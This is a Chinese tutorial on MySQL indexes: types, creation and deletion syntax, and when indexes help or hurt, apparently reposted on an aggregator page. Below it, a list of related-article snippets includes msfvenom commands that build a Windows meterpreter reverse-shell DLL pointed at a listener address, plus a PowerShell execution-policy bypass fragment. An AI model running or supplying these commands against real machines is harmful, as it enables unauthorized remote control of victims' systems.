Mysql高级篇(中)——索引介绍

news2024/11/15 19:55:44

Mysql高级篇(中)——索引介绍

  • 一、索引本质
  • 二、索引优缺点
  • 三、索引分类
    • (1)按数据结构分类
    • (2)按功能分类
    • (3) 按存储引擎分类
    • (4) 按存储方式分类
    • (5) 按使用方式分类
  • 四、 索引基本语法
    • (1)创建索引
    • (2)查看索引
    • (3)删除索引
    • (4)ALTER 关键字创建/删除索引
  • 五、适合创建索引的情况
    • 思考题
  • 六、不适合创建索引的情况

一、索引本质

索引本质一种数据结构,它用于加速数据库的查询操作。通过组织和存储数据的方式,索引可以让数据库更高效地查找和检索数据,而不需要逐行扫描整个表。可以理解为 排好序的快速查找结构

二、索引优缺点

优点缺点
提高查询速度,减少数据检索的时间占用额外的磁盘空间
通过索引可以 加快排序操作增加了数据写入的开销,插入、更新、删除操作需要额外时间维护索引
支持快速的随机读取和范围查询如果创建过多的索引,可能导致索引失效或查询优化器选择不当的索引
对于表连接操作,可以显著提升JOIN性能对小表或者数据量较少的场景,索引带来的性能提升有限
能够通过 唯一索引保证数据的唯一性维护多个索引的开销较大,影响性能
索引可以 减少磁盘I/O操作,提升系统效率索引失效会导致全表扫描,反而降低查询性能
在大型数据集上查询时可以显著减少响应时间频繁变动的大型表,索引维护成本较高

三、索引分类

(1)按数据结构分类

在这里插入图片描述

(2)按功能分类

在这里插入图片描述

(3) 按存储引擎分类

在这里插入图片描述

(4) 按存储方式分类

在这里插入图片描述

(5) 按使用方式分类

在这里插入图片描述

四、 索引基本语法

(1)创建索引

创建 普通索引

CREATE INDEX index_name ON table_name (column1, column2, ...);

-- 示例
CREATE INDEX idx_user_name ON users (name);

创建 唯一索引

CREATE UNIQUE INDEX index_name ON table_name (column1, column2, ...);

-- 示例
CREATE UNIQUE INDEX idx_email_unique ON users (email);

创建 组合索引

CREATE INDEX index_name ON table_name (column1, column2, ...);

-- 示例
CREATE INDEX idx_name_age ON users (name, age);

创建 全文索引

CREATE FULLTEXT INDEX index_name ON table_name (column1, column2, ...);

-- 示例
CREATE FULLTEXT INDEX idx_content_fulltext ON articles (content);

创建表时定义索引 :

-- 在创建表时添加索引: 可以在 CREATE TABLE 语句中直接定义索引
CREATE TABLE table_name (
    column1 datatype,
    column2 datatype,
    ...
    INDEX index_name (column1),
    UNIQUE INDEX unique_index_name (column2),
    FULLTEXT INDEX fulltext_index_name (column3)
);


-- 示例
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255),
    email VARCHAR(255),
    INDEX idx_name (name),
    UNIQUE INDEX idx_email_unique (email)
);


(2)查看索引

查看 表中索引:

SHOW INDEX FROM table_name;

-- 示例
SHOW INDEX FROM users;

(3)删除索引

删除 表中索引:

DROP INDEX index_name ON table_name;

-- 示例
DROP INDEX idx_user_name ON users;

(4)ALTER 关键字创建/删除索引

创建 普通索引

ALTER TABLE table_name ADD INDEX index_name (column1, column2, ...);

-- 示例
ALTER TABLE users ADD INDEX idx_name (name);

创建 唯一索引

ALTER TABLE table_name ADD UNIQUE index_name (column1);

-- 示例
ALTER TABLE users ADD UNIQUE idx_email (email);

创建 组合索引

ALTER TABLE table_name ADD INDEX index_name (column1, column2, ...);


-- 示例
ALTER TABLE users ADD INDEX idx_name_age (name, age);

创建 全文索引

ALTER TABLE table_name ADD FULLTEXT index_name (column1);

-- 示例
ALTER TABLE articles ADD FULLTEXT idx_content_fulltext (content);

删除索引

ALTER TABLE table_name DROP INDEX index_name;

-- 示例
ALTER TABLE users DROP INDEX idx_name;

总结: 没有直接修改索引的SQL语句,如果要修改索引,必须先删除,再新增

五、适合创建索引的情况

  1. 数据库默认为 主键唯一键建立索引
  2. 频繁作为查询条件的字段 适合创建索引
  • 如果 某个字段经常出现在 SELECT 查询的 WHERE 子句中,或者常用于过滤数据,这种情况非常适合创建索引。索引可以显著减少查询时的扫描行数,从而提高查询速度。
  1. 需要 排序或分组的字段
  • 某个字段经常出现在 ORDER BYGROUP BY 子句中时,可以为其创建索引以优化排序或分组的效率。索引可以帮助数据库在查询时更快地找到排序所需的数据,而不是全表扫描后再排序。
  1. 外键字段
  • 外键字段用于关联不同表之间的数据。在外键字段上创建索引可以加速联表查询(JOIN操作) ,使数据之间的关联操作更加高效。

  • 示例:订单表中有 customer_id 字段,该字段是用户表 user_id外键。在 customer_id 字段上创建索引有助于快速获取用户订单。
  1. 组合查询条件
  • 如果查询时经常需要基于多个条件进行过滤,可以为多个字段创建组合索引。组合索引在多字段查询中能够大幅减少全表扫描,提高查询效率。组合索引要由于单值索引

  • 示例:电商订单表中,用户可能经常按 customer_idorder_date 两个字段查询用户的历史订单记录。为 customer_id order_date 创建组合索引可以加快查询。
  1. 大数据量的表

当表中的 数据量非常大 时,查询速度可能会下降,索引可以有效减少查询扫描的行数,从而提高性能。

总结:索引主要用于加速查询,特别是频繁进行查询、排序、过滤的大数据表中,或在高选择性、多条件组合的查询情况下。适当创建索引不仅可以提高查询性能,还能保证数据的完整性和一致性(如主键和唯一键)。

思考题

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

六、不适合创建索引的情况

  1. 小数据量的表

如果表的数据量非常小全表扫描的速度可能比使用索引更快,因为使用索引还需要额外的跳转操作。对于小表而言,索引反而会增加存储开销和查询复杂度,而不会明显提升性能。

  1. 频繁更新插入删除数据的字段或表

索引会随着数据的变化而更新,特别是在 INSERTUPDATEDELETE 操作时,索引的维护会增加额外的性能开销。如果某个表的字段数据经常发生更新或插入操作,索引的维护成本可能会超过其带来的查询优化效果。


如果表经常被大批量地更新或删除记录,索引的维护代价会非常高,影响整体性能。在这种场景下,不适合创建索引。

  • 示例:
    定期批量删除的历史记录表,频繁的批量操作会导致索引频繁调整,带来额外的开销。
  1. 包含大量重复数据的字段

索引对于高重复值的字段无效,因为索引无法有效减少数据扫描。例如,某个字段中80%的记录都具有相同的值,索引无法通过选择性有效过滤记录。

  • 示例:
    一个商品表中的 status字段,只有“在售”和“下架”两种状态值。这个字段具有高重复性索引在过滤时无法发挥其应有的作用

    性别字段(仅有“”和“”两种值)或布尔值字段(例如 is_active),索引的选择性低,不适合创建索引
  1. 频繁变动的无序数据

无序且频繁变动的数据(例如自动生成的随机数时间戳)不适合创建索引,因为每次数据插入或更新时都需要重新排列和维护索引,导致性能下降

  • 示例:
    系统日志表中的时间戳字段,如果频繁插入新日志且要求以时间顺序排列,那么在timestamp 字段上创建索引会导致插入时的额外开销
  1. 查询字段很少使用

如果某个字段很少用于查询或过滤操作,即使创建了索引,也无法得到明显的性能提升,反而会增加不必要的存储和维护开销

  • 示例:
    员工表中的 profile_description 字段很少用于查询,如果为其创建索引,可能会带来不必要的索引维护负担,而查询效率不会有显著改善。

总结,不适合创建索引的情况主要涉及频繁的写操作低选择性大量重复值的字段小数据量的表大范围查询。创建不必要的索引不仅不会提升性能,反而会增加维护成本、占用存储空间,并可能导致整体性能下降。合理地选择需要索引的字段非常关键,以避免负面影响。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通信工程学习:什么是DB数据库、DBS数据库系统、DBMS数据库管理系统

DB数据库、DBS数据库系统、DBMS数据库管理系统 在计算机科学中,数据库(DB)、数据库系统(DBS)和数据库管理系统(DBMS)是构建和管理数据存储与检索系统的核心概念。下面将分别详细解释这三个术语。…

基于人工智能的智能家居语音控制系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 随着物联网(IoT)和人工智能技术的发展,智能家居语音控制系统已经成为现代家庭的一部分。通过语音控…

Spring入门案例创建流程

Spring详细创建流程如下 1)创建Maven工程 打开idea主界面 new Project > Name > Language > Maven > JDK > GroupId > Create Src > 鼠标右键>Delete 创建module 鼠标右键spring-demo > new > Module new Module > Name > L…

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念(套接字编程) 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂,所以采用了分而治之的设计方法,把网络的功能划分为不同的模块,以分层的形式有…

【机器学习】决策树与随机森林:模型对比与应用案例分析

文章目录 一.引言 在现代数据科学的世界中,决策树和随机森林是两个非常重要且广泛使用的机器学习算法。它们不仅因其高效性和强大的表现力而受到青睐,而且在解决实际问题时也表现出了令人印象深刻的能力。本篇文章将深入探讨这两个算法,帮助读…

JAVAEE初阶第七节(中)——物理原理与TCP_IP

系列文章目录 JAVAEE初阶第七节(中)——物理原理与TCP_IP 文章目录 系列文章目录JAVAEE初阶第七节(中)——物理原理与TCP_IP 一.应用层重点协议)1. DNS2 .NAT3. NAT IP转换过程 4 .NAPT5. NAT技术的缺陷6. HTTP/HTTPS…

秋夜思故人有感

秋夜思故人有感 西楼月影碎, 轩窗烛泪灰。 门前小犬吠, 疑是故人归。

仕考网:事业编考试考什么?

事业编考试科目为: 《职测》《综应》《公基》三选二 事业编有哪些招考形式? ①联考 多省份统一考试,考试时间、考试内容相同,每年两次,上半年5月和下半年10月各一次; ②单招 用人单位单独招聘,考试时间和内容自…

钉耙编程(8)

1007 cats 的 k-xor 分析&#xff1a; 1.是对x 取余 得到最后一位 标准答案代码&#xff1a; #include<bits/stdc.h> using namespace std; long long kxor(long long a,long long b,long long k){long long ans0,w1,c;while(a>0||b>0){c(ab)%k;a/k;b/k;ansc*w;w*…

研发效能DevOps: VSCode进行前端项目初始配置

目录 一、实验 1.环境 2.安装Node.js 3.初始化前端项目 二、问题 1.cnpm安装报错 2.如何删除cnpm与指定cnpm版本 3.前端项目运行报错 4.node版本与npm版本对应关系如何查询 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统 软件版本备注Windows11VS …

C++之map和set的基本操作

目录 set的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 multiset的基本操作 count接口 元素的查找 元素的删除 map的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 operator[ ]接口 multimap的基本操作 在之前我们已经学过了vector&…

录屏新秀Top3 VS班迪录屏 ,谁更胜一筹?

现在是数字时代哈&#xff0c;录屏软件那可是咱生活和工作里特别重要的小玩意儿。比如说制作教学视频、搞游戏直播或者记录工作会议啥的&#xff0c;一款好的录屏软件能让咱效率高高的。今天呢&#xff0c;咱们就来对比一下新推出的三款录屏软件和那个老牌的班迪录屏&#xff0…

【一文读懂】NTN(非地面网络)技术介绍

一、引言 随着科技的飞速发展&#xff0c;全球通信需求日益增长&#xff0c;特别是在偏远地区或服务欠缺地区&#xff0c;传统的地面网络往往难以覆盖。为此&#xff0c;基于5G标准的卫星对地通信技术应运而生&#xff0c;构建了一个全新的通信领域——非地面网络&#xff08;…

spring的xml配置文件爆红(原因以及解决办法)

1&#xff09;出现这个原因是因为spring-framework依赖没有导入 可以看到依赖已经导入了 2&#xff09;第二种原因:我们打开maven工程就是不出现右上角刷新的按钮&#xff0c;导致我们无法导入依赖 解决办法如下

书生大模型全链路开源开放体系笔记

书生哺语2.5概览 支持100万字上下文自助规划和搜索完成复杂任务(通过信息搜索和整合&#xff0c;针对复杂问题撰写专业回答&#xff0c;效率提升60倍) 可以提问文档中100万token中任何一个部分的问题&#xff0c;也有弊端就是不能联系上下文 核心技术思路 高质量合成数据 已经…

队列基础知识-Java

基本概念 队列&#xff08;Queue&#xff09;是一个有序的元素集合&#xff0c;其中新元素总是被添加到队尾&#xff0c;而删除操作则发生在队头。 这种特性使得队列成为一种线性数据结构&#xff0c;其操作遵循FIFO(先入先出)原则。 图解 环形队列注意点&#xff1a; 1 有效…